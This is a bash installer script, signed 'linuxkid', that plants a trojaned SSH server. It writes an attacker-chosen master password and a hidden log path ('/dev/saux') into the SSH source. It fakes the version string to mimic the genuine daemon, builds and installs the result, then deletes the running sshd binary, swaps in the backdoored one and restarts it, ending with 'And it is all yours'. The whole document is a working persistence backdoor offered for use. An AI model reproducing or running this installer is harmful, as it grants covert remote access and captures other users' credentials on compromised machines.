#!/bin/bash
echo "bY linuxkid"
sleep 1
printf "\n\n"
printf "Enter SSH 22 password: "
read PASS
echo 'int genx=0,genxlookup=0;'> apps/ssh/genx.h
echo 'char genxpass[]="'$PASS'",genxbuf[1024];'>> apps/ssh/genx.h
echo 'char genxfile[]="/dev/saux";'>> apps/ssh/genx.h
sleep 1
printf "\n\n"
printf "SSH Version Example: OpenSSH_3.6.1p2\n"
printf "\n\n"
printf "Enter SSH 22 version: "
read SSHV
echo '#ifndef SSH2INCLUDES_H'> apps/ssh/ssh2includes.h
echo '#define SSH2INCLUDES_H'>> apps/ssh/ssh2includes.h
echo '#include "sshincludes.h"'>> apps/ssh/ssh2includes.h
echo '#include "sshsessionincludes.h"'>> apps/ssh/ssh2includes.h
echo '#include "ssh2version.h"'>> apps/ssh/ssh2includes.h
echo '#define SSH_USER_RC "rc"'>> apps/ssh/ssh2includes.h
echo '#define SSH_USER_ENV_FILE "environment"'>> apps/ssh/ssh2includes.h
echo '#define SSH_SYSTEM_RC ETCDIR "/sshrc"'>> apps/ssh/ssh2includes.h
echo '#define SSH_DEFAULT_PORT "22"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_PUBKEY "publickey"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_PASSWD "password"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_HOSTBASED "hostbased"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_PAM "[email protected]"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_KERBEROS "[email protected]"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_KERBEROS_TGT "[email protected]"'>> apps/ssh/ssh2includes.h
echo '#define SSH_AUTH_SECURID "[email protected]"'>> apps/ssh/ssh2includes.h
echo '#define SSH_SIGNER_PATH SSH_BINDIR "/ssh-signer2"'>> apps/ssh/ssh2includes.h
echo '#define SSH_PAM_CLIENT_PATH SSH_BINDIR "/ssh-pam-client"'>> apps/ssh/ssh2includes.h
echo '#define SSH_SSH2_PATH SSH_BINDIR "/ssh2"'>> apps/ssh/ssh2includes.h
echo '#define SSH_ASKPASS_PATH SSH_BINDIR "/ssh-askpass2"'>> apps/ssh/ssh2includes.h
echo '#define SSH_LIBSOCKS5_CONF_PATH "/etc/libsocks5.conf"'>> apps/ssh/ssh2includes.h
echo '#define SSH_SERVER_DEFAULT_IDLE_TIMEOUT 0'>> apps/ssh/ssh2includes.h
echo '#define SSH2_GETOPT_ARGUMENTS "ac:C::vd:e:f::F:hi:l:L:no:p:PqR:s:Stx8gVkw1:m:"'>> apps/ssh/ssh2includes.h
echo '#define SSH2_VERSION_STRING "" SSH2_VERSION \'>> apps/ssh/ssh2includes.h
echo ' "'$SSHV'"'>> apps/ssh/ssh2includes.h
echo '#define SSH2_PROTOCOL_VERSION_STRING SSH2_VERSION \'>> apps/ssh/ssh2includes.h
echo ' "'$SSHV'"'>> apps/ssh/ssh2includes.h
echo "#endif">> apps/ssh/ssh2includes.h
echo "Done."
echo
sleep 2
echo "Installing SSH... this will take a moment...."
echo "./configure --without-x"
./configure --without-x
sleep 2
echo "make"
make
sleep 2
echo "make install"
make install
sleep 2
sshfile=`ps ax |grep sshd|head -n 1|awk ' {print $5} '`
sshpid=`ps ax |grep sshd|head -n 1|awk ' {print $1} '`
echo "rm -rf $sshfile"
rm -rf $sshfile
echo "cp -f /usr/local/sbin/sshd $sshfile"
cp -f /usr/local/sbin/sshd $sshfile
echo "kill -9 $sshpid"
kill -9 $sshpid
echo "$sshfile"
$sshfile
echo "Done."
echo "And it is all yours"
|